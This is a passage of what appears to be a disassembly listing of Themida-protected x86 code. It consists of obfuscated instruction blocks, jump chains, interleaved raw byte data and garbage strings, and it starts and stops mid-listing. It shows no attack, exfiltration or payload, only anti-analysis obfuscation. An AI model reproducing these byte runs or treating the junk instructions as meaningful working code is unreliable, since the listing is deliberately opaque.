		dd 0FFFFF1F0h
; ---------------------------------------------------------------------------


loc_5693A4:				; CODE XREF: Themida_:0056EE40j
		add	esp, 4
		push	ebp
		mov	ebp, 37E36E27h
		jmp	loc_5713FC
; ---------------------------------------------------------------------------


loc_5693B2:				; CODE XREF: Themida_:0057152Fj
		sub	[esp], esi
		pop	esi
		push	eax
		mov	eax, 6D930471h
		neg	eax
		xor	eax, 66780BCFh
		jmp	loc_560036
; ---------------------------------------------------------------------------
		dd 2D85C581h, 0EF89390Eh, 0FF9055E9h, 241C31FFh, 0E9241C33h
		dd 0FFFF89D1h, 0E924248Bh, 6113h, 30A685Dh, 1C890000h
		dd 1A51BB24h, 504B0651h, 66F2E9h, 4C48100h, 66000000h
		dd 8B66F031h, 89522434h, 4C281E2h, 83000000h, 143302C2h
		dd 24143124h, 28A2E9h, 6D5CBA00h, 0CA812F68h, 5CB5589Dh
		dd 0DA1EA81h, 0D1292D57h, 78B8E95Ah, 489FFFFh, 40478F24h
		dd 0FF2434FFh, 72E92434h, 89000003h, 5FD1E9E0h,	7968FFFFh
		dd 8900006Ch, 8B542414h, 54522414h, 4C2815Ah, 0E9000000h
		dd 0FFFF6300h, 1DDDBD55h, 0EE014911h, 0E9F5215Dh, 6C9Dh
		dd 0BD5AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569482:				; CODE XREF: Themida_:0056BCD5j
		not	esi
		xchg	esi, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		push	9Eh
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	334C1694h
		pop	ebx
		add	ebx, 0CCB3E970h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_567A31
; ---------------------------------------------------------------------------


loc_5694BE:				; CODE XREF: Themida_:0056711Cj
		neg	ecx
		jmp	loc_560E74
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0B5h
		dd 51070B64h, 2DE9F989h, 80FFFFCDh, 0B0E916EBh
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5694DB:				; CODE XREF: Themida_:0056613Ej
		mov	ecx, 3C7525F4h
		xor	ecx, 3C7525F0h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_56FE99
; ---------------------------------------------------------------------------
dword_5694F0	dd 0E924248Bh, 0FFFF4BA7h ; DATA XREF: Themida_:0055E028o
; ---------------------------------------------------------------------------


loc_5694F8:				; CODE XREF: Themida_:00569C5Fj
		push	1
		mov	edx, [esp]
		jmp	loc_566853
; ---------------------------------------------------------------------------
		db 57h,	2 dup(0BFh)
		dd 91CAB45h, 0BB535FF8h, 2C843FBAh, 31F6E9h, 7DF78100h
		dd 0E95D1613h, 0FFFFA70Bh, 2C481h, 9A2C0000h, 81241C8Bh
		dd 4C4h, 0E1895100h, 4C181h, 0E9830000h, 0BDF1E904h, 0F701FFFFh
		dd 0EB6E95Eh, 0C6290000h, 0FFA193E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569555:				; CODE XREF: Themida_:00561DCBj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7C10DCC3h
		xor	ebx, ecx
		pop	ecx
		sub	eax, 0CD91EF0h
		jmp	loc_562E10
; ---------------------------------------------------------------------------


loc_569573:				; CODE XREF: Themida_:00563B53j
		mov	[esp], ebx
		push	esi
		mov	esi, 39115CB7h
		mov	ebx, 9A5F9482h
		sub	ebx, esi
		jmp	loc_565B0E
; ---------------------------------------------------------------------------


loc_569588:				; CODE XREF: Themida_:0056538Bj
		push	1DCAh
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		xor	eax, 0DAA8C5CDh
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_5656F4
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 8DBE5651h, 0B9502213h, 379C48DEh, 895EF131h
		dd 93E959CEh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5695C7:				; CODE XREF: Themida_:0056A8C7j
		pop	edi
		jmp	loc_563AC6
; ---------------------------------------------------------------------------


loc_5695CD:				; CODE XREF: Themida_:005667CFj
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, eax
		add	ecx, 58080ABFh
		push	eax
		mov	eax, 5205715Eh
		xor	eax, 679A7B6Ch
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5604D7
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 0E9241Ch,	8FFFFFD4h, 4812404h, 424h, 0E623E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569616:				; CODE XREF: Themida_:00570403j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 20D96C3Dh
		sub	ebp, 23405938h
		push	eax
		jmp	loc_55E62E
; ---------------------------------------------------------------------------


loc_569630:				; CODE XREF: Themida_:0056C6C8j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_566650
; ---------------------------------------------------------------------------
		dd offset dword_457444+2BB24h
		align 2
		dw 0C568h
		dd 0E9000026h, 0FFFF69AAh, 815AD101h, 4E9h, 240C8700h
		dd 8924248Bh, 38E9241Ch, 5C00004Bh, 9C242CD3h, 0FF65CFE9h
		dd 4C681FFh, 87000000h,	27E92434h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56967B:				; CODE XREF: Themida_:005636CAj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E2DE
; ---------------------------------------------------------------------------
		dd 2FCFEE81h, 0EE012447h, 2FCFC681h, 815D2447h,	59016BC3h
		dd 55F30146h, 59016BBDh, 5DEB2946h, 4B9515Eh, 1000000h
		dd 9343E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5696BA:				; CODE XREF: Themida_:0056A870j
		sub	esp, 4
		jmp	loc_56D55D
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 80D3F662h, 0D98807F3h, 7E68665Bh, 4896651h, 2033B424h
		dd 48B66E1h, 2C48324h, 0FFB45066h, 5866E100h, 5205E1C0h
		dd 0B667B353h, 5BDE30F2h, 71E9F130h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5696FB:				; CODE XREF: Themida_:005716C7j
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_571FC6
; ---------------------------------------------------------------------------


loc_56970F:				; CODE XREF: Themida_:00566E41j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56D9D4
; ---------------------------------------------------------------------------


loc_56971A:				; CODE XREF: Themida_:005621F0j
		push	ebx
		jmp	loc_5661ED
; ---------------------------------------------------------------------------
		dd 4C6815Ch, 0E9000000h, 0FFFFE082h
; ---------------------------------------------------------------------------


loc_56972C:				; CODE XREF: Themida_:0056FBAEj
		mov	[esp], edx
		jmp	loc_564EC6
; ---------------------------------------------------------------------------
aBTvznso	db 'ÅtV‡Né®[',0
		db 0
; ---------------------------------------------------------------------------


loc_56973F:				; CODE XREF: Themida_:005655F8j
		xor	eax, ecx
		push	4C46h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_562521
; ---------------------------------------------------------------------------


loc_569751:				; CODE XREF: Themida_:00570CC5j
		push	3790h
		mov	[esp], ebx
		jmp	loc_56B16C
; ---------------------------------------------------------------------------
		dw 555Ah
		dd 4BB53h, 78E90000h, 0BEFFFFE0h, 43064560h, 71E3E9h, 4C58100h
		dd 52000000h, 0FD43E955h, 0F9BEFFFFh, 0F762E10Dh, 0E9EED1DEh
		dd 0FFFFA4EDh
; ---------------------------------------------------------------------------


loc_569790:				; CODE XREF: Themida_:0056F9A5j
		and	ebx, 35022B13h
		sub	ebx, 0C24AF02Dh
		jmp	loc_564875
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF7431E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5697A9:				; CODE XREF: Themida_:00572553j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_570A2F
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1A457048h, 0FFE6A8E9h, 545258FFh, 4C2815Ah, 81000000h
		dd 4C2h, 13E95200h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5697D3:				; CODE XREF: Themida_:0056CE5Dj
		mov	ebx, esp
		jmp	loc_57151D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E3895324h, 4C381h, 0EC810000h, 4, 0BA241489h, 3B816537h
		dd 905DE9h, 0E9F90100h,	0FFFF9430h
; ---------------------------------------------------------------------------


loc_569800:				; CODE XREF: Themida_:0056A03Dj
		add	esp, 4
		shl	ecx, 2
		add	ecx, 48840551h
		jmp	loc_564F84
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 57C98100h, 81631C75h, 2C36AEF1h, 59CE8948h
		dd 2414F756h, 0C1CE815Eh, 0C1799C4Dh, 0E6C103E6h, 0C6814602h
		dd 0FD8A4A7Eh, 0FF98F8E9h, 5EF031FFh, 8158C189h, 0D5A558C1h
		dd 0FFC831C2h, 83592434h, 545304C4h, 4C3815Bh, 81000000h
		dd 4EBh, 241C8700h, 242C895Ch, 0B05305BDh, 0CAE9505Ch
		dd 0F6000028h, 5E3C0D3h, 0FFFACAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569889:				; CODE XREF: Themida_:0056E33Cj
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_564E88
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 5DF5h, 24048F5Ah, 94E3E95Ch,	0C581FFFFh, 0EC018626h
		dd 0FF88E5E9h, 0BD555BFFh, 1A7533DCh, 0E95DE829h, 0FFFFDFDBh
		dd 0F95661BFh, 0CCB3E947h, 0FD89FFFFh, 0F1E9555Fh, 51000059h
		dd 42474FFh, 24048F59h,	7ED1E9h
		db 0
byte_5698E5	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:0055DDD8o
		dd 4EC81h, 34890000h, 0A2B85024h, 891AAE9Fh, 0B215E9C6h
		dd 74FFFFFFh, 8F580424h, 0A5E92404h, 0FF00008Fh, 575E2434h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0C3815C24h, 5F25452Dh
		dd 70E930FFh
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56992F:				; CODE XREF: Themida_:00568EB0j
		pop	eax
		and	esi, 661A41A8h
		add	esi, 15681A91h
		sub	esi, 3A99F6BAh
		add	edx, 25B47E1Ah
		sub	edx, esi
		sub	edx, 25B47E1Ah
		pop	esi
		push	6299h
		jmp	loc_56CB07
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4EC81h, 3C890000h, 777AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56996A:				; CODE XREF: Themida_:0056D59Dj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		jmp	loc_57209E
; ---------------------------------------------------------------------------
		dw 8952h
		dd 7106E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569982:				; CODE XREF: Themida_:0056BEAAj
		sub	eax, 0AFEDF9BEh
		jmp	loc_55E809
; ---------------------------------------------------------------------------
		dd 74F1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569992:				; CODE XREF: Themida_:00561576j
		mov	esi, [esp]
		push	5FDEh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_561E9B
; ---------------------------------------------------------------------------


loc_5699AA:				; CODE XREF: Themida_:005685C6j
		and	ecx, edx
		jmp	loc_5718CF
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 81h
		dd 584D9EEEh, 5EF1317Fh, 0FFE779E9h, 0E2055BFFh, 0E93B7A36h
		dd 0FFFF7930h, 3FC68h, 240C8B00h, 5604C483h, 47ACE9h, 624E6800h
		dd 0C890000h, 0ED7FE924h, 5957FFFFh, 62ABE95Fh,	50BDFFFFh
		dd 0D1557A21h, 9CED81E5h, 1AAF442h, 0C0835DE8h,	24048704h
		dd 5594685Ch, 14890000h, 7D685124h, 89000057h, 0E789243Ch
		dd 4C781h, 0EF810000h, 4, 0E9243C87h, 0FFFFD684h, 42474FFh
		dd 0FFFE67E9h, 153868FFh, 0B7E90000h, 0B400003Fh, 66E2001Ah
		dd 8324048Bh, 0D03002C4h, 8B2434FFh, 0C4812414h, 4, 0E904EC83h
		dd 0FFFF6CCEh, 0E9E18951h, 4121h, 36E95258h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A73:				; CODE XREF: Themida_:0055F454j
		pop	ebp
		xor	ebp, 76D264DDh
		mov	eax, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	279Bh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5728CC
; ---------------------------------------------------------------------------


loc_569AB0:				; CODE XREF: Themida_:0056BEC6j
		or	eax, eax
		jz	loc_56880B
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_56260B
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 0E9h
		dd 0F5Eh, 0F713A1B8h, 3CF3564h,	0E91646h
		db 78h,	2 dup(0)
byte_569AE3	db 0FFh			; DATA XREF: Themida_:0055DE48o
		dd 48B2434h, 90E95224h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569AEF:				; CODE XREF: Themida_:00567AFEj
		xchg	ebp, [esp]
		jmp	loc_56001D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7CE98000h, 674FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569B06:				; CODE XREF: Themida_:00562029j
		add	edx, edi
		push	edi
		mov	edi, 4B356671h
		add	edx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4D06C82h
		sub	esi, edx
		add	esi, 4D06C82h
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	32B0h
		jmp	loc_56D86C
; ---------------------------------------------------------------------------
		db 0B1h
		dd 7E9C084h, 80F0E180h,	0C8284AF1h, 9176E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B52:				; CODE XREF: Themida_:00572099j
		add	ebp, 4
		jmp	loc_5634CD
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0F7h
		dd 4E7C1D7h, 0FFDA52E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569B69:				; CODE XREF: Themida_:0055F6E8j
		inc	ecx
		add	ecx, 462F61A5h
		add	ecx, 0A9CB5D52h
		mov	edx, ecx
		pop	ecx
		jmp	loc_56F03B
; ---------------------------------------------------------------------------
		dw 6859h
		dd 1F81h, 89240C89h, 0D7B9E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B8E:				; CODE XREF: Themida_:0056C910j
		sub	edx, 0FFFFFFFFh
		jmp	loc_55F6B6
; ---------------------------------------------------------------------------
word_569B96	dw 8B66h		; DATA XREF: Themida_:0055DFA4o
		dd 98E92404h, 8B00005Ah, 42E92424h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569BA7:				; CODE XREF: Themida_:005673E2j
		add	ebx, edi
		jmp	loc_56BEAF
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E9F76624h, 0A0B6866h, 38CFE9h, 0DFB35300h, 8007E3C0h
		dd 0D8009EC3h, 83241C8Bh, 8B6604C4h, 0E0E9240Ch
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BD7:				; CODE XREF: Themida_:005668BAj
		add	esi, 92DE6E6Ch
		add	edx, esi
		jmp	loc_5651E3
; ---------------------------------------------------------------------------
		dd 0E906EBC0h, 0FFFFD693h, 0E92434FFh, 8FAEh, 4C481h, 0BF0F0000h
		dd 139968C8h, 0C890000h, 4495E924h, 0E901FFFFh,	0FF7AFFE9h
		dd 20C381FFh, 891F1791h, 0B5BA5BD8h, 0E9048A0Fh, 118Fh
; ---------------------------------------------------------------------------


loc_569C24:				; CODE XREF: Themida_:005646D4j
		xor	ebp, [esp]
		mov	esp, [esp]
		push	79D7h
		mov	[esp], ebx
		jmp	loc_56C9DE
; ---------------------------------------------------------------------------
		db 58h
		dd 8704C483h, 15C240Ch,	0E95752C6h, 0FFFF9864h,	512C6853h
		dd 5DE90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C53:				; CODE XREF: Themida_:0056D6C6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5694F8
; ---------------------------------------------------------------------------
		dd 0C0E9EA29h, 81FFFFB6h, 4ECh,	241C8900h, 0DD88F388h
		dd 24148B5Bh, 0FFEC4AE9h, 5BDE01FFh, 0F0C5E952h, 8766FFFFh
		dd 64C1E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569C92:				; CODE XREF: Themida_:005641CFj
		xchg	eax, edi
		push	esi
		jmp	loc_560FE5
; ---------------------------------------------------------------------------


loc_569C99:				; CODE XREF: Themida_:005677D9j
		add	dword ptr [esp], 64E93BE0h
		pop	eax
		push	esi
		push	711Bh
		jmp	loc_57043D
; ---------------------------------------------------------------------------
		dd 8704C383h, 815C241Ch, 4C3h, 74FF5300h, 8F5B0424h, 248B2404h
		dd 240CFF24h, 6895E99Ch, 34FFFFFFh, 2434FF24h, 2EFDE9h
		dd 24540100h, 0E95D5A04h, 0FFFFBB19h, 285FBFBDh, 0FFC58355h
		dd 5437ED81h, 0C0E92C51h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569CF7:				; CODE XREF: Themida_:00562BD4j
		mov	edx, [esp]
		push	57A0h
		jmp	loc_55EB54
; ---------------------------------------------------------------------------
		dd 5B5FCE81h, 0A2E9678Bh, 81FFFFFCh, 875674EDh,	0E9D5014Eh
		dd 0FFFFFA18h, 0C781E789h, 4, 0B769E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D2A:				; CODE XREF: Themida_:0056FAD3j
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56C72D
; ---------------------------------------------------------------------------
		dd 0CB805966h, 7FD4E98Ch, 3487FFFFh, 0BD555C24h, 4, 0FF9A55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569D4D:				; CODE XREF: Themida_:0057076Fj
		add	edx, 4
		push	esi
		push	ebp
		mov	ebp, 3E735D2Ch
		push	edx
		jmp	loc_5627EA
; ---------------------------------------------------------------------------
		dd 7BC168h, 241C8900h, 802E9h
		db 0
; ---------------------------------------------------------------------------


loc_569D6D:				; CODE XREF: Themida_:00560C99j
		pop	ecx
		not	edx
		add	edx, 6AD00D09h
		sub	edx, 0AEDF54ECh
		add	ecx, edx
		jmp	loc_56505A
; ---------------------------------------------------------------------------
		db 89h
		dd 7872E9DDh, 0C483FFFFh, 0A0EB8104h, 0E928EE40h, 57A3h
		dd 0E9241487h, 0FFFFC20Eh, 4C4815Eh, 8B000000h,	8957243Ch
		dd 4C781E7h, 0E9000000h, 0FFFFE8F2h
; ---------------------------------------------------------------------------


loc_569DB8:				; CODE XREF: Themida_:0056CB7Aj
		add	bh, 0Ch
		add	bh, 98h
		xor	ch, bh
		jmp	loc_56A700
; ---------------------------------------------------------------------------


loc_569DC5:				; CODE XREF: Themida_:005621BFj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56D46D
; ---------------------------------------------------------------------------
aRithu		db 'R‰âhî',0Ah,0
		align 4
		dd 0BE243489h, 7BFC6778h, 5507E6C1h, 1D5DE9h, 2CC68100h
		dd 5B01BC62h, 8124148Bh, 4C4h, 24448100h, 4274B304h, 24740175h
		dd 246C8104h, 4274B304h, 5B1FE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E16:				; CODE XREF: Themida_:0056B27Cj
		push	1645h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1691071Ah
		mov	ecx, 1B973274h
		jmp	loc_56A026
; ---------------------------------------------------------------------------
aIS		db '‰$$é{)',0
		align 2
		dw 0E3B8h
		dd 0D14B6029h, 4EE952E0h, 81FFFF5Ch, 0B1042444h, 0FF45D044h
		dd 0E9592434h, 0FFFF6946h, 0C181E189h, 4, 4C181h, 18E90000h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E67:				; CODE XREF: Themida_:005678F3j
		mov	[esp], ebp
		push	esp
		jmp	loc_571F6D
; ---------------------------------------------------------------------------


loc_569E70:				; CODE XREF: Themida_:0055EF5Aj
		add	ebp, ecx
		pop	ecx
		jmp	loc_55E9DF
; ---------------------------------------------------------------------------
		dd 0B050C3FEh, 0E9C328ECh, 0FFFF9F5Dh
; ---------------------------------------------------------------------------


loc_569E84:				; CODE XREF: Themida_:0056E210j
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	367Bh
		jmp	loc_5658D8
; ---------------------------------------------------------------------------


loc_569E95:				; CODE XREF: Themida_:00561649j
		pop	edx
		jmp	loc_56C2DA
; ---------------------------------------------------------------------------
		db 50h
		dd 62276856h, 815E6C15h, 757B6EF6h, 81EED13Ah, 4F45CBF6h
		dd 2C81567Ch, 0DF049324h, 0D4E95814h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569EBF:				; CODE XREF: Themida_:00568037j
		push	edi
		jmp	loc_56F7DA
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C621A1B9h, 59CF2911h, 0C781D7F7h, 6F5298DBh, 82C9E9h
		dd 58C10100h, 0C8BCA01h, 4C48324h, 0C281DAF7h, 874E715Dh
		dd 0FF7F5EE9h, 80D4F6FFh, 91E988C4h, 8700008Ah,	0FFC381DDh
		dd 55FFFFFFh, 4EC81h, 1C890000h, 0F75B5D24h, 1C581D5h
		dd 0E9000000h, 81CCh
; ---------------------------------------------------------------------------


loc_569F20:				; CODE XREF: Themida_:00570C4Ej
		pop	ebp
		jmp	loc_5719FC
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0EE830000h, 4DECE902h, 1468FFFFh, 89000073h
		dd 0AB82404h, 29503D7Ah, 97E958C1h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F4B:				; CODE XREF: Themida_:00566624j
		pop	ebx
		push	eax
		mov	eax, 4240690Bh
		jmp	loc_561BCD
; ---------------------------------------------------------------------------
		db 55h
		dd 0C5815D54h, 4, 8704ED83h, 895C242Ch,	74FF242Ch, 2DE90424h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F73:				; CODE XREF: Themida_:005623E8j
		pop	ecx
		push	edi
		jmp	loc_56C9C0
; ---------------------------------------------------------------------------
		dw 93BDh
		dd 81724373h, 437397F5h, 525DE972h, 0EC800000h,	58E3302Ch
		dd 2646E9h
		db 0
; ---------------------------------------------------------------------------


loc_569F95:				; CODE XREF: Themida_:00571165j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	462Ch
		mov	[esp], ebx
		mov	esi, [esp]
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp]
		push	0F6Eh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_562AC2
; ---------------------------------------------------------------------------
		dw 489h
		dd 5700E924h, 0C4810000h, 4, 0EA81FA29h, 5B2F0581h, 0EB34E95Fh
		dd 815CFFFFh, 4ECh, 240C8900h, 5C4B68h,	685D6800h, 24890000h
		dd 24048124h, 4, 5524048Fh, 4BDh, 246C0100h, 34FF5D04h
		dd 5F53E924h, 0C888FFFFh, 322AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A026:				; CODE XREF: Themida_:00569E29j
		xor	ecx, ebp
		pop	ebp
		shl	ecx, 5
		push	eax
		mov	eax, 24F1178Bh
		add	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569800
; ---------------------------------------------------------------------------
		dw 0A868h
		dd 5838AE0Ah, 0FF51DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A04D:				; CODE XREF: Themida_:0056A9A9j
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		jmp	loc_5673FE
; ---------------------------------------------------------------------------
		dd 148BD131h, 4C48324h,	4C8F68h, 24048900h, 250A6853h
		dd 0B8E96F8Ch
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A073:				; CODE XREF: Themida_:0056BC49j
		sub	ecx, 0FC780D4Dh
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_56BE44
; ---------------------------------------------------------------------------


loc_56A084:				; CODE XREF: Themida_:005714E4j
		pop	ecx
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_560132
; ---------------------------------------------------------------------------
		db 0B8h, 2Dh, 1Fh
		dd 0C6095A86h, 0FF55D6E9h, 343359FFh, 24343124h, 5C243433h
		dd 5A1968h, 0F384E900h,	3068FFFFh, 8900005Ch, 0EC812404h
		dd 4, 83242489h, 8B042404h, 0C4812404h,	4, 1796BE56h, 0EC835828h
		dd 241C8904h, 281792BBh, 5BDE3158h, 3809E22Dh, 69A72D6Dh
		dd 0F001211Eh, 1E69A705h, 1F346821h, 34890000h,	0E9575024h
		dd 0FFFFAA5Ch, 8106EDC1h, 994731F5h, 0E9895100h, 8904EC83h
		dd 0BA52240Ch, 576C5C41h, 4245429h, 4466E9h, 0A5E95800h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A12F:				; CODE XREF: Themida_:00564196j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_570C7E
; ---------------------------------------------------------------------------
		dd 8022CB80h, 0C38027C3h, 4EBC07Ch, 0B050DBF6h,	2CF10C48h
		dd 58C32810h, 0FCE9D930h, 5BFFFFC5h, 4C481h, 0E9570000h
		dd 0FFFFBE6Bh
; ---------------------------------------------------------------------------


loc_56A164:				; CODE XREF: Themida_:0056780Ej
		mov	ecx, 737E3BF1h
		mov	edx, ecx
		pop	ecx
		and	ebx, edx
		pop	edx
		sub	ebx, 603629A0h
		push	7A5h
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_5657F5
; ---------------------------------------------------------------------------
		dd 0E10D84BDh, 6FEA8163h, 0E97B6530h, 0FFFFDEA8h
; ---------------------------------------------------------------------------


loc_56A194:				; CODE XREF: Themida_:00561B58j
		push	ecx
		mov	ecx, 57162A5Fh
		sub	ecx, 26D8CE88h
		sub	edi, ecx
		jmp	loc_570AB7
; ---------------------------------------------------------------------------


loc_56A1A7:				; CODE XREF: Themida_:0056A348j
		sub	al, 17h
		sub	al, ch
		add	al, 17h
		push	edx
		mov	dl, 3Ah
		push	bx
		mov	bh, 8Bh
		sub	dl, bh
		pop	bx
		dec	dl
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 68h
		add	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 23h
		jmp	loc_570D0D
; ---------------------------------------------------------------------------
aIxrERhy	db '‰åRº…}ÁRhy)',0
		dd 24048900h, 3975E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A1E9:				; CODE XREF: Themida_:00565F21j
		add	edx, 693E2ABAh
		jmp	loc_571761
; ---------------------------------------------------------------------------
		dd 0BB49C381h, 0DE2921FAh, 2434FF5Bh, 0E9243C8Bh, 43ECh
		dd 698BB951h, 91E9477Ch, 0C0FFFFD2h, 34E906E2h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A21B:				; CODE XREF: Themida_:0056CADEj
		pop	ecx
		mov	ch, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5716C1
; ---------------------------------------------------------------------------
		dd 8CE9D601h, 0BE000079h, 4, 535EF001h,	0FFC08DE9h, 0C8966FFh
		dd 0B60F6624h, 9C5166C8h, 0FF3E4EE9h, 24048FFFh, 81AFE9h
		dd 24248B00h, 6DD6E954h, 0BD55FFFFh, 3AAA14E4h,	2785E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A26D:				; CODE XREF: Themida_:0056106Fj
		pop	dword ptr [esp]
		jmp	loc_5690DA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF577AE9h, 24BFBBFFh, 0D8017AF1h, 12685A5Bh, 0E9000013h
		dd 0FFFFA1CDh
; ---------------------------------------------------------------------------


loc_56A290:				; CODE XREF: Themida_:00563DC0j
		push	ebp
		jmp	loc_56879D
; ---------------------------------------------------------------------------


loc_56A296:				; CODE XREF: Themida_:00565CE8j
		add	ecx, 537B3122h
		add	ecx, 9DEFC501h
		sub	edi, 2B27199h
		jmp	loc_570067
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C6h
		dd 4, 5C243487h, 5595E9h, 243C8900h, 0C781E789h, 4, 0FFCEF3E9h
		dd 8BC289FFh, 0C4832404h, 0A8BF5704h, 8109662Bh, 5E61DEE7h
